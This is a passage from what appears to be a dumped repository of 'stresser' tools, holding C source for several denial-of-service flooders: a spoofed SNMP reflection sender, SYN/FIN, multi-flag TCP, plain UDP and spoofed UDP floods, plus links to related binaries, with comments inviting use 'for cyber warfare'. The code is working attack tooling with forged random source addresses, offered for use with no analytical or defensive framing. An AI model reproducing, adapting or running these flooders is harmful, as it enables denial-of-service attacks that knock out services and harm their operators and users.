141 | 
142 | int sendit(ulong destaddr)
143 | {
144 | 
145 | struct pseudoudp {
146 | u_long ipsource;
147 | u_long ipdest;
148 | char zero;
149 | char proto;
150 | u_short length;
151 | } *psudp;
152 | 
153 | struct in_addr sourceip_addr;
154 | struct in_addr destip_addr;
155 | struct ip          *IP;
156 | struct udphdr      *UDP;
157 | char *packet, *packetck, *data;
158 | int datasize;
159 | 
160 | 
161 | destip_addr.s_addr=destaddr;
162 | sourceip_addr.s_addr=inet_addr(source);
163 | dest.sin_addr.s_addr=destip_addr.s_addr;                                                                        
164 | 
165 | datasize=sizeof(snmpkill);
166 | 
167 | packet = ( char * )malloc( 20 + 8 + datasize );
168 | 
169 | IP     = (struct ip     *)packet; 
170 | 
171 | memset(packet,0,sizeof(packet)); 
172 |         
173 |         IP->ip_dst.s_addr  = destip_addr.s_addr;
174 |         IP->ip_src.s_addr  = sourceip_addr.s_addr;
175 |         IP->ip_v = 4;
176 |         IP->ip_hl = 5;
177 |         IP->ip_ttl = 245;
178 |         IP->ip_id = htons(1047);
179 |         IP->ip_p = 17;
180 |         IP->ip_len  = htons(20 + 8 + datasize);
181 |         IP->ip_sum  = in_cksum((u_short *)packet,20);
182 | 
183 |  
184 | UDP   = (struct udphdr    *)(packet+20);
185 |       UDP->source = htons(161); 
186 |       UDP->dest   = htons(161);
187 |       UDP->len     = htons(8+datasize);
188 |       UDP->check = 0;
189 |       packetck = (char *)malloc(8 + datasize + sizeof(struct pseudoudp));
190 |       bzero(packetck,8 + datasize + sizeof(struct pseudoudp));     
191 |       psudp = (struct pseudoudp *) (packetck);
192 |       psudp->ipdest = destip_addr.s_addr;
193 |       psudp->ipsource = sourceip_addr.s_addr;
194 |       psudp->zero = 0;
195 |       psudp->proto = 17;
196 |       psudp->length = htons(8+datasize);
197 |       memcpy(packetck+sizeof(struct pseudoudp),UDP,8+datasize);
198 |       memcpy(packetck+sizeof(struct pseudoudp)+8,snmpkill,datasize);
199 | 
200 |       UDP->check = in_cksum((u_short *)packetck,8+datasize+sizeof(struct pseudoudp));    
201 | 
202 | data   = (unsigned char    *)(packet+20+8); 
203 | memcpy(data,snmpkill,datasize);  
204 |                                                                                                      
205 | 
206 | return(sendto(sok,packet,20+8+datasize,0,(struct sockaddr *) &dest,sizeof(struct sockaddr)));
207 | 
208 | free(packet);
209 | free(packetck);
210 | }
211 | 
212 | 
213 | 
214 | int main(int argc,char **argv){
215 | 
216 | if(argc < 3) {
217 | 	usage();
218 | 	return 0;
219 | }
220 | 
221 | while((c=getopt(argc,argv,"t:f:l:"))!=EOF){
222 |         switch(c) {
223 |          case 't': source=optarg; break;
224 | 	 case 'f': filename=optarg; break;
225 | 	 case 'l': loop=atoi(optarg); break;
226 | 	 default: usage();
227 |          }
228 | }
229 | 
230 | loadfile();
231 | 
232 | 
233 | dest.sin_family=AF_INET;
234 | 
235 | if ( (sok=socket(AF_INET,SOCK_RAW,IPPROTO_RAW)) < 0)
236 | {
237 |         printf("Can't create socket.\n");
238 |         exit(EXIT_FAILURE);
239 | }
240 | 
241 | n=0;
242 | 
243 | 
244 | while(lcount < loop){
245 | 
246 | while(n < num)
247 | {
248 | 	if(sendit(address[n]) == -1) printf ("SENDING ERROR!\n");
249 | 	n++;
250 | 	count++;
251 | }
252 | 
253 | if(n == num){ n = 0; lcount++;}
254 | 
255 | }
256 | 
257 | 
258 | 
259 | 
260 | printf("%i packets sent\n", count);
261 | 
262 | return 0;
263 | }


--------------------------------------------------------------------------------
/Stresser/SNMP/snmpscanner:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/Mass-Malicious-Script-Dump/824f48a25b7f12195a2afaf410d5f936837192c0/Stresser/SNMP/snmpscanner


--------------------------------------------------------------------------------
/Stresser/SSDP/ssdp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/Mass-Malicious-Script-Dump/824f48a25b7f12195a2afaf410d5f936837192c0/Stresser/SSDP/ssdp


--------------------------------------------------------------------------------
/Stresser/SSYN With FIN/ssyn_with_fin_attack.c:
--------------------------------------------------------------------------------
  1 | /*
  2 |  * This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
  3 |  */
  4 | #include <unistd.h>
  5 | #include <time.h>
  6 | #include <sys/types.h>
  7 | #include <sys/socket.h>
  8 | #include <sys/ioctl.h>
  9 | #include <string.h>
 10 | #include <stdlib.h>
 11 | #include <stdio.h>
 12 | #include <pthread.h>
 13 | #include <netinet/tcp.h>
 14 | #include <netinet/ip.h>
 15 | #include <netinet/in.h>
 16 | #include <netinet/if_ether.h>
 17 | #include <netdb.h>
 18 | #include <net/if.h>
 19 | #include <arpa/inet.h>
 20 | #define MAX_PACKET_SIZE 4096
 21 | #define PHI 0x9e3779b9
 22 | static unsigned long int Q[4096], c = 362436;
 23 | static unsigned int floodport;
 24 | volatile int limiter;
 25 | volatile unsigned int pps;
 26 | volatile unsigned int sleeptime = 100;
 27 | void init_rand(unsigned long int x)
 28 | {
 29 | 	int i;
 30 | 	Q[0] = x;
 31 | 	Q[1] = x + PHI;
 32 | 	Q[2] = x + PHI + PHI;
 33 | 	for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 34 | }
 35 | unsigned long int rand_cmwc(void)
 36 | {
 37 | 	unsigned long long int t, a = 18782LL;
 38 | 	static unsigned long int i = 4095;
 39 | 	unsigned long int x, r = 0xfffffffe;
 40 | 	i = (i + 1) & 4095;
 41 | 	t = a * Q[i] + c;
 42 | 	c = (t >> 32);
 43 | 	x = t + c;
 44 | 	if (x < c) {
 45 | 	x++;
 46 | 	c++;
 47 | 	}
 48 | 	return (Q[i] = r - x);
 49 | }
 50 | unsigned short csum (unsigned short *buf, int count)
 51 | {
 52 | 	register unsigned long sum = 0;
 53 | 	while( count > 1 ) { sum += *buf++; count -= 2; }
 54 | 	if(count > 0) { sum += *(unsigned char *)buf; }
 55 | 	while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 56 | 	return (unsigned short)(~sum);
 57 | }
 58 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 59 | 	struct tcp_pseudo
 60 | 	{
 61 | 	unsigned long src_addr;
 62 | 	unsigned long dst_addr;
 63 | 	unsigned char zero;
 64 | 	unsigned char proto;
 65 | 	unsigned short length;
 66 | 	} pseudohead;
 67 | 	unsigned short total_len = iph->tot_len;
 68 | 	pseudohead.src_addr=iph->saddr;
 69 | 	pseudohead.dst_addr=iph->daddr;
 70 | 	pseudohead.zero=0;
 71 | 	pseudohead.proto=IPPROTO_TCP;
 72 | 	pseudohead.length=htons(sizeof(struct tcphdr));
 73 | 	int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 74 | 	unsigned short *tcp = malloc(totaltcp_len);
 75 | 	memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 76 | 	memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 77 | 	unsigned short output = csum(tcp,totaltcp_len);
 78 | 	free(tcp);
 79 | 	return output;
 80 | }
 81 | 
 82 | void setup_ip_header(struct iphdr *iph)
 83 | {
 84 | 	iph->ihl = 5;
 85 | 	iph->version = 4;
 86 | 	iph->tos = 0;
 87 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 88 | 	iph->id = htonl(54321);
 89 | 	iph->frag_off = 0;
 90 | 	iph->ttl = MAXTTL;
 91 | 	iph->protocol = 6;
 92 | 	iph->check = 0;
 93 | 	iph->saddr = inet_addr("192.168.3.100");
 94 | }
 95 | 
 96 | void setup_tcp_header(struct tcphdr *tcph)
 97 | {
 98 | 	tcph->source = htons(5678);
 99 | 	tcph->seq = rand();
100 | 	tcph->ack_seq = rand();
101 | 	tcph->res2 = 0;
102 | 	tcph->doff = 5;
103 | 	tcph->syn = 1;
104 | 	tcph->fin = 1;
105 | 	tcph->window = rand();
106 | 	tcph->check = 0;
107 | 	tcph->urg_ptr = 0;
108 | }
109 | void *flood(void *par1)
110 | {
111 | 	char *td = (char *)par1;
112 | 	char datagram[MAX_PACKET_SIZE];
113 | 	struct iphdr *iph = (struct iphdr *)datagram;
114 | 	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
115 | 	struct sockaddr_in sin;
116 | 	sin.sin_family = AF_INET;
117 | 	sin.sin_port = htons(floodport);
118 | 	sin.sin_addr.s_addr = inet_addr(td);
119 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
120 | 	if(s < 0){
121 | 	fprintf(stderr, "Could not open raw socket.\n");
122 | 	exit(-1);
123 | 	}
124 | 	memset(datagram, 0, MAX_PACKET_SIZE);
125 | 	setup_ip_header(iph);
126 | 	setup_tcp_header(tcph);
127 | 	tcph->dest = htons(floodport);
128 | 	iph->daddr = sin.sin_addr.s_addr;
129 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
130 | 	int tmp = 1;
131 | 	const int *val = &tmp;
132 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
133 | 	fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
134 | 	exit(-1);
135 | 	}
136 | 	init_rand(time(NULL));
137 | 	register unsigned int i;
138 | 	i = 0;
139 | 	while(1){
140 | 	sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
141 | 	iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
142 | 	iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
143 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
144 | 	tcph->seq = rand_cmwc() & 0xFFFF;
145 | 	tcph->source = htons(rand_cmwc() & 0xFFFF);
146 | 	tcph->check = 0;
147 | 	tcph->check = tcpcsum(iph, tcph);
148 | 	pps++;
149 | 	if(i >= limiter)
150 | 	{
151 | 	i = 0;
152 | 	usleep(sleeptime);
153 | 	}
154 | 	i++;
155 | 	}
156 | }
157 | int main(int argc, char *argv[ ])
158 | {
159 | 	if(argc < 6){
160 | 	fprintf(stderr, "Invalid parameters!\n");
161 | 	fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
162 | 	exit(-1);
163 | 	}
164 | 	fprintf(stdout, "Setting up Sockets...\n");
165 | 	int num_threads = atoi(argv[3]);
166 | 	floodport = atoi(argv[2]);
167 | 	int maxpps = atoi(argv[4]);
168 | 	limiter = 0;
169 | 	pps = 0;
170 | 	pthread_t thread[num_threads];
171 | 	int multiplier = 20;
172 | 	int i;
173 | 	for(i = 0;i<num_threads;i++){
174 | 	pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
175 | 	}
176 | 	fprintf(stdout, "Starting Flood...\n");
177 | 	for(i = 0;i<(atoi(argv[5])*multiplier);i++)
178 | 	{
179 | 		usleep((1000/multiplier)*1000);
180 | 		if((pps*multiplier) > maxpps)
181 | 		{
182 | 			if(1 > limiter)
183 | 			{
184 | 				sleeptime+=100;
185 | 			} else {
186 | 				limiter--;
187 | 			}
188 | 		} else {
189 | 			limiter++;
190 | 			if(sleeptime > 25)
191 | 			{
192 | 				sleeptime-=25;
193 | 			} else {
194 | 				sleeptime = 0;
195 | 			}
196 | 		}
197 | 		pps = 0;
198 | 	}
199 | 
200 | 	return 0;
201 | }


--------------------------------------------------------------------------------
/Stresser/STCP/stcp_attack.c:
--------------------------------------------------------------------------------
  1 | /* STCP - AnonnPL, look at TeamSpeakCrack.com  */
  2 | #include <unistd.h>
  3 | #include <time.h>
  4 | #include <sys/types.h>
  5 | #include <sys/socket.h>
  6 | #include <sys/ioctl.h>
  7 | #include <string.h>
  8 | #include <stdlib.h>
  9 | #include <stdio.h>
 10 | #include <pthread.h>
 11 | #include <netinet/tcp.h>
 12 | #include <netinet/ip.h>
 13 | #include <netinet/in.h>
 14 | #include <netinet/if_ether.h>
 15 | #include <netdb.h>
 16 | #include <net/if.h>
 17 | #include <arpa/inet.h>
 18 | 
 19 | #define MAX_PACKET_SIZE 4096
 20 | #define PHI 0x9e3779b9
 21 | 
 22 | static unsigned long int Q[4096], c = 362436;
 23 | static unsigned int floodport;
 24 | volatile int limiter;
 25 | volatile unsigned int pps;
 26 | volatile unsigned int sleeptime = 100;
 27 | int ack,syn,psh,fin,rst,urg,ptr,res2,seq;
 28 | 
 29 | void init_rand(unsigned long int x)
 30 | {
 31 | 	int i;
 32 | 	Q[0] = x;
 33 | 	Q[1] = x + PHI;
 34 | 	Q[2] = x + PHI + PHI;
 35 | 	for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
 36 | }
 37 | unsigned long int rand_cmwc(void)
 38 | {
 39 | 	unsigned long long int t, a = 18782LL;
 40 | 	static unsigned long int i = 4095;
 41 | 	unsigned long int x, r = 0xfffffffe;
 42 | 	i = (i + 1) & 4095;
 43 | 	t = a * Q[i] + c;
 44 | 	c = (t >> 32);
 45 | 	x = t + c;
 46 | 	if (x < c) {
 47 | 		x++;
 48 | 		c++;
 49 | 	}
 50 | 	return (Q[i] = r - x);
 51 | }
 52 | unsigned short csum (unsigned short *buf, int count)
 53 | {
 54 | 	register unsigned long sum = 0;
 55 | 	while( count > 1 ) { sum += *buf++; count -= 2; }
 56 | 	if(count > 0) { sum += *(unsigned char *)buf; }
 57 | 	while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
 58 | 	return (unsigned short)(~sum);
 59 | }
 60 | 
 61 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
 62 | 
 63 | 	struct tcp_pseudo
 64 | 	{
 65 | 		unsigned long src_addr;
 66 | 		unsigned long dst_addr;
 67 | 		unsigned char zero;
 68 | 		unsigned char proto;
 69 | 		unsigned short length;
 70 | 	} pseudohead;
 71 | 	unsigned short total_len = iph->tot_len;
 72 | 	pseudohead.src_addr=iph->saddr;
 73 | 	pseudohead.dst_addr=iph->daddr;
 74 | 	pseudohead.zero=0;
 75 | 	pseudohead.proto=IPPROTO_TCP;
 76 | 	pseudohead.length=htons(sizeof(struct tcphdr));
 77 | 	int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
 78 | 	unsigned short *tcp = malloc(totaltcp_len);
 79 | 	memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
 80 | 	memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
 81 | 	unsigned short output = csum(tcp,totaltcp_len);
 82 | 	free(tcp);
 83 | 	return output;
 84 | }
 85 | 
 86 | void setup_ip_header(struct iphdr *iph)
 87 | {
 88 | 	iph->ihl = 5;
 89 | 	iph->version = 4;
 90 | 	iph->tos = 0;
 91 | 	iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
 92 | 	iph->id = htonl(rand()%54321);
 93 | 	iph->frag_off = 0;
 94 | 	iph->ttl = MAXTTL;
 95 | 	iph->protocol = 6;
 96 | 	iph->check = 0;
 97 | 	iph->saddr = inet_addr("8.8.8.8");
 98 | }
 99 | 
100 | void setup_tcp_header(struct tcphdr *tcph)
101 | {
102 | tcph->source = htons(rand()%65535);
103 | 	tcph->seq = rand();
104 | 	tcph->ack  = ack;
105 | 	tcph->ack_seq = seq;
106 | 	tcph->psh  = psh;	
107 | 	tcph->fin  = fin;
108 | 	tcph->rst  = rst;
109 | 	tcph->res2 = res2;
110 | 	tcph->doff = 5;
111 | 	tcph->syn = syn; 
112 | 	tcph->urg  = urg;
113 | 	tcph->urg_ptr = ptr;
114 | 	tcph->window = htonl(65535);
115 | 	tcph->check = 0;
116 | }
117 | 
118 | void *flood(void *par1)
119 | {
120 | 	char *td = (char *)par1;
121 | 	char datagram[MAX_PACKET_SIZE];
122 | 	struct iphdr *iph = (struct iphdr *)datagram;
123 | 	struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
124 | 	
125 | 	struct sockaddr_in sin;
126 | 	sin.sin_family = AF_INET;
127 | 	sin.sin_port = htons(floodport);
128 | 	sin.sin_addr.s_addr = inet_addr(td);
129 | 
130 | 	int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
131 | 	if(s < 0){
132 | 		fprintf(stderr, "Could not open raw socket.\n");
133 | 		exit(-1);
134 | 	}
135 | 	memset(datagram, 0, MAX_PACKET_SIZE);
136 | 	setup_ip_header(iph);
137 | 	setup_tcp_header(tcph);
138 | 
139 | 	tcph->dest = htons(floodport);
140 | 
141 | 	iph->daddr = sin.sin_addr.s_addr;
142 | 	iph->check = csum ((unsigned short *) datagram, iph->tot_len);
143 | 
144 | 	int tmp = 1;
145 | 	const int *val = &tmp;
146 | 	if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
147 | 		fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
148 | 		exit(-1);
149 | 	}
150 | 
151 | 	init_rand(time(NULL));
152 | 	register unsigned int i;
153 | 	i = 0;
154 | 	while(1){
155 | 		sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
156 | 
157 | 		iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
158 | 		iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
159 | 		iph->check = csum ((unsigned short *) datagram, iph->tot_len);
160 | 		tcph->seq = rand_cmwc() & 0xFFFF;
161 | 		tcph->source = htons(rand_cmwc() & 0xFFFF);
162 | 		tcph->check = 0;
163 | 		tcph->check = tcpcsum(iph, tcph);
164 | 		
165 | 		pps++;
166 | 		if(i >= limiter)
167 | 		{
168 | 			i = 0;
169 | 			usleep(sleeptime);
170 | 		}
171 | 		i++;
172 | 	}
173 | }
174 | int main(int argc, char *argv[ ])
175 | {
176 | 	if(argc < 7){
177 | 		fprintf(stderr, "Invalid parameters!\n");
178 | 		fprintf(stdout, "Usage: %s <target IP> <port> <threads> <pps limiter, -1 for no limit> <time> <ack,syn,psh,fin,rst,urg,ptr,res2,seq>\n", argv[0]);
179 | 		exit(-1);
180 | 	}
181 | 
182 | 	fprintf(stdout, "Setting up Sockets...\n");
183 | 
184 | 	int num_threads = atoi(argv[3]);
185 | 	floodport = atoi(argv[2]);
186 | 	int maxpps = atoi(argv[4]);
187 | 	limiter = 0;
188 | 	pps = 0;
189 | 	pthread_t thread[num_threads];
190 | //TCP FLAGS
191 | 	if(strstr(argv[6], "ack"))
192 | 	ack  = 1;
193 | 	else
194 | 	ack  = 0;
195 | 	
196 | 	if(strstr(argv[6], "seq"))
197 | 	seq = 1;
198 | 	else
199 | 	seq = 0;
200 | 	
201 | 	if(strstr(argv[6], "psh"))
202 | 	psh = 1;
203 | 	else
204 | 	psh = 0;
205 | 	
206 | 	if(strstr(argv[6], "fin"))
207 | 	fin  = 1;
208 | 	else
209 | 	fin  = 0;
210 | 	
211 | 	if(strstr(argv[6], "rst"))
212 | 	rst = 1;
213 | 	else
214 | 	rst = 0;
215 | 	
216 | 	if(strstr(argv[6], "res2"))
217 | 	res2 = 1;
218 | 	else
219 | 	res2 = 0;
220 | 	
221 | 	if(strstr(argv[6], "syn"))
222 | 	syn = 1;
223 | 	else
224 | 	syn = 0;
225 | 	
226 | 	if(strstr(argv[6], "urg"))
227 | 	urg = 1;
228 | 	else
229 | 	urg = 0;
230 | 	
231 | 	if(strstr(argv[6], "ptr"))
232 | 	ptr = 1;
233 | 	else
234 | 	ptr = 0;
235 | 	
236 | //FLAGS END
237 | 	int multiplier = 20;
238 | 
239 | 	int i;
240 | 	for(i = 0;i<num_threads;i++){
241 | 		pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
242 | 	}
243 | 	fprintf(stdout, "Starting Flood...\n");
244 | 	fprintf(stdout, "Code by Anonn\n");
245 | 	for(i = 0;i<(atoi(argv[5])*multiplier);i++)
246 | 	{
247 | 		usleep((1000/multiplier)*1000);
248 | 		if((pps*multiplier) > maxpps)
249 | 		{
250 | 			if(1 > limiter)
251 | 			{
252 | 				sleeptime+=100;
253 | 			} else {
254 | 				limiter--;
255 | 			}
256 | 		} else {
257 | 			limiter++;
258 | 			if(sleeptime > 25)
259 | 			{
260 | 				sleeptime-=25;
261 | 			} else {
262 | 				sleeptime = 0;
263 | 			}
264 | 		}
265 | 		pps = 0;
266 | 	}
267 | 
268 | 	return 0;
269 | }


--------------------------------------------------------------------------------
/Stresser/STD/std.c:
--------------------------------------------------------------------------------
 1 | /* STD.C By stackd - (root@stackd.net) Define strings to what you feel fit */
 2 | 
 3 | #define STD2_STRING "std"
 4 | #define STD2_SIZE 50
 5 |  
 6 | #include <stdio.h>
 7 | #include <sys/param.h>
 8 | #include <sys/socket.h>
 9 | #include <netinet/in.h>
10 | #include <netdb.h>
11 | #include <stdarg.h>
12 |  
13 | int echo_connect(char *, short);
14 |  
15 | int echo_connect(char *server, short port)
16 | {
17 |    struct sockaddr_in sin;
18 |    struct hostent *hp;
19 |    int thesock;
20 |    hp = gethostbyname(server);
21 |    if (hp==NULL) {
22 |       printf("Unknown host: %s\n",server);
23 |       exit(0);
24 |    }
25 |    printf(" STD.C -- Packeting %s:%d\n ", server, port);
26 |    bzero((char*) &sin,sizeof(sin));
27 |    bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
28 |    sin.sin_family = hp->h_addrtype;
29 |    sin.sin_port = htons(port);
30 |    thesock = socket(AF_INET, SOCK_DGRAM, 0);
31 |    connect(thesock,(struct sockaddr *) &sin, sizeof(sin));
32 |    return thesock;
33 | }
34 |  
35 |  
36 | main(int argc, char **argv)
37 | {
38 |    int s;
39 |    if(argc != 3)
40 |    {
41 |       fprintf(stderr, "[STD2.C BY STACKD] Syntax: %s host port\n",argv[0]);
42 |       exit(0);
43 |    }
44 |    s=echo_connect(argv[1], atoi(argv[2]));
45 |    for(;;)
46 |    {
47 |       send(s, STD2_STRING, STD2_SIZE, 0);
48 |    }
49 | }


--------------------------------------------------------------------------------
/Stresser/SUDP/sudp_attack.c:
--------------------------------------------------------------------------------
  1 | /*
  2 | 	This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
  3 | */
  4 | #include <time.h>
  5 | #include <pthread.h>
  6 | #include <unistd.h>
  7 | #include <stdio.h>
  8 | #include <stdlib.h>
  9 | #include <string.h>
 10 | #include <sys/socket.h>
 11 | #include <netinet/ip.h>
 12 | #include <netinet/udp.h>
 13 | #define MAX_PACKET_SIZE 4096
 14 | #define PHI 0x9e3779b9
 15 | static uint32_t Q[4096], c = 362436;
 16 | struct thread_data{
 17 |         int throttle;
 18 | 	int thread_id;
 19 | 	struct sockaddr_in sin;
 20 | };
 21 | void init_rand(uint32_t x)
 22 | {
 23 |         int i;
 24 |         Q[0] = x;
 25 |         Q[1] = x + PHI;
 26 |         Q[2] = x + PHI + PHI;
 27 |  
 28 |         for (i = 3; i < 4096; i++)
 29 |                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 30 | }
 31 | uint32_t rand_cmwc(void)
 32 | {
 33 |         uint64_t t, a = 18782LL;
 34 |         static uint32_t i = 4095;
 35 |         uint32_t x, r = 0xfffffffe;
 36 |         i = (i + 1) & 4095;
 37 |         t = a * Q[i] + c;
 38 |         c = (t >> 32);
 39 |         x = t + c;
 40 |         if (x < c) {
 41 |                 x++;
 42 |                 c++;
 43 |         }
 44 |         return (Q[i] = r - x);
 45 | }
 46 | char *myStrCat (char *s, char *a) {
 47 |     while (*s != '\0') s++;
 48 |     while (*a != '\0') *s++ = *a++;
 49 |     *s = '\0';
 50 |     return s;
 51 | }
 52 | char *replStr (char *str, size_t count) {
 53 |     if (count == 0) return NULL;
 54 |     char *ret = malloc (strlen (str) * count + count);
 55 |     if (ret == NULL) return NULL;
 56 |     *ret = '\0';
 57 |     char *tmp = myStrCat (ret, str);
 58 |     while (--count > 0) {
 59 |         tmp = myStrCat (tmp, str);
 60 |     }
 61 |     return ret;
 62 | }
 63 | unsigned short csum (unsigned short *buf, int nwords)
 64 | {
 65 |   unsigned long sum;
 66 |   for (sum = 0; nwords > 0; nwords--)
 67 |   sum += *buf++;
 68 |   sum = (sum >> 16) + (sum & 0xffff);
 69 |   sum += (sum >> 16);
 70 |   return (unsigned short)(~sum);
 71 | }
 72 | void setup_ip_header(struct iphdr *iph)
 73 | {
 74 |   iph->ihl = 5;
 75 |   iph->version = 4;
 76 |   iph->tos = 0;
 77 |   iph->tot_len = sizeof(struct iphdr) + 1028;
 78 |   iph->id = htonl(54321);
 79 |   iph->frag_off = 0;
 80 |   iph->ttl = MAXTTL;
 81 |   iph->protocol = IPPROTO_UDP;
 82 |   iph->check = 0;
 83 |   iph->saddr = inet_addr("192.168.3.100");
 84 | }
 85 | void setup_udp_header(struct udphdr *udph)
 86 | {
 87 |   udph->source = htons(5678);
 88 |   udph->check = 0;
 89 |   char *data = (char *)udph + sizeof(struct udphdr);
 90 |   data = replStr("\xFF" "\xFF" "\xFF" "\xFF", 256);
 91 |   udph->len=htons(1028);
 92 | }
 93 | void *flood(void *par1)
 94 | {
 95 |   struct thread_data *td = (struct thread_data *)par1;
 96 |   char datagram[MAX_PACKET_SIZE];
 97 |   struct iphdr *iph = (struct iphdr *)datagram;
 98 |   struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
 99 |   struct sockaddr_in sin = td->sin;
100 |   char new_ip[sizeof "255.255.255.255"];
101 |   int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
102 |   if(s < 0){
103 |     fprintf(stderr, "Could not open raw socket.\n");
104 |     exit(-1);
105 |   }
106 |   memset(datagram, 0, MAX_PACKET_SIZE);
107 |   setup_ip_header(iph);
108 |   setup_udp_header(udph);
109 |   udph->dest = htons (rand() % 20480);
110 |   iph->daddr = sin.sin_addr.s_addr;
111 |   iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
112 |   int tmp = 1;
113 |   const int *val = &tmp;
114 |   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
115 |     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
116 |     exit(-1);
117 |   }
118 |   int throttle = td->throttle;
119 |   uint32_t random_num;
120 |   uint32_t ul_dst;
121 |   init_rand(time(NULL));
122 |   if(throttle == 0){
123 |     while(1){
124 |       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
125 |       random_num = rand_cmwc();
126 |       ul_dst = (random_num >> 24 & 0xFF) << 24 |
127 |                (random_num >> 16 & 0xFF) << 16 |
128 |                (random_num >> 8 & 0xFF) << 8 |
129 |                (random_num & 0xFF);
130 | 
131 |       iph->saddr = ul_dst;
132 |       udph->source = htons(random_num & 0xFFFF);
133 |       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
134 |     }
135 |   } else {
136 |     while(1){
137 |       throttle = td->throttle;
138 |       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
139 |       random_num = rand_cmwc();
140 |       ul_dst = (random_num >> 24 & 0xFF) << 24 |
141 |                (random_num >> 16 & 0xFF) << 16 |
142 |                (random_num >> 8 & 0xFF) << 8 |
143 |                (random_num & 0xFF);
144 | 
145 |       iph->saddr = ul_dst;
146 |       udph->source = htons(random_num & 0xFFFF);
147 |       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
148 |      while(--throttle);
149 |     }
150 |   }
151 | }
152 | int main(int argc, char *argv[ ])
153 | {
154 |   if(argc < 4){
155 |     fprintf(stderr, "Invalid parameters!\n");
156 |     fprintf(stdout, "Usage: %s <IP> <throttle> <threads> <time>\n", argv[0]);
157 |     exit(-1);
158 |   }
159 |   fprintf(stdout, "Setting up Sockets...\n");
160 |   int num_threads = atoi(argv[3]);
161 |   pthread_t thread[num_threads];
162 |   struct sockaddr_in sin;
163 |   sin.sin_family = AF_INET;
164 |   sin.sin_port = htons (rand() % 20480);
165 |   sin.sin_addr.s_addr = inet_addr(argv[1]);
166 |   struct thread_data td[num_threads];
167 |   int i;
168 |   for(i = 0;i<num_threads;i++){
169 |     td[i].thread_id = i;
170 |     td[i].sin = sin;
171 |     td[i].throttle = atoi(argv[2]);
172 |     pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
173 |   }
174 |   fprintf(stdout, "Starting Flood...\n");
175 |   if(argc > 5)
176 |   {
177 |     sleep(atoi(argv[4]));
178 |   } else {
179 |     while(1){
180 |       sleep(1);
181 |     }
182 |   }
183 |   return 0;
184 | }


--------------------------------------------------------------------------------
/Stresser/SYN/SSYN:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/mwsrc/Mass-Malicious-Script-Dump/824f48a25b7f12195a2afaf410d5f936837192c0/Stresser/SYN/SSYN


--------------------------------------------------------------------------------
/Stresser/SYN/syn_attack.c:
--------------------------------------------------------------------------------
  1 | /*
  2 | 	This is released under the GNU GPL License v3.0, and is allowed to be used for cyber warfare. ;)
  3 | */
  4 | #include <unistd.h>
  5 | #include <time.h>
  6 | #include <sys/types.h>
  7 | #include <sys/socket.h>
  8 | #include <sys/ioctl.h>
  9 | #include <string.h>
 10 | #include <stdlib.h>
 11 | #include <stdio.h>
 12 | #include <pthread.h>
 13 | #include <netinet/tcp.h>
 14 | #include <netinet/ip.h>
 15 | #include <netinet/in.h>
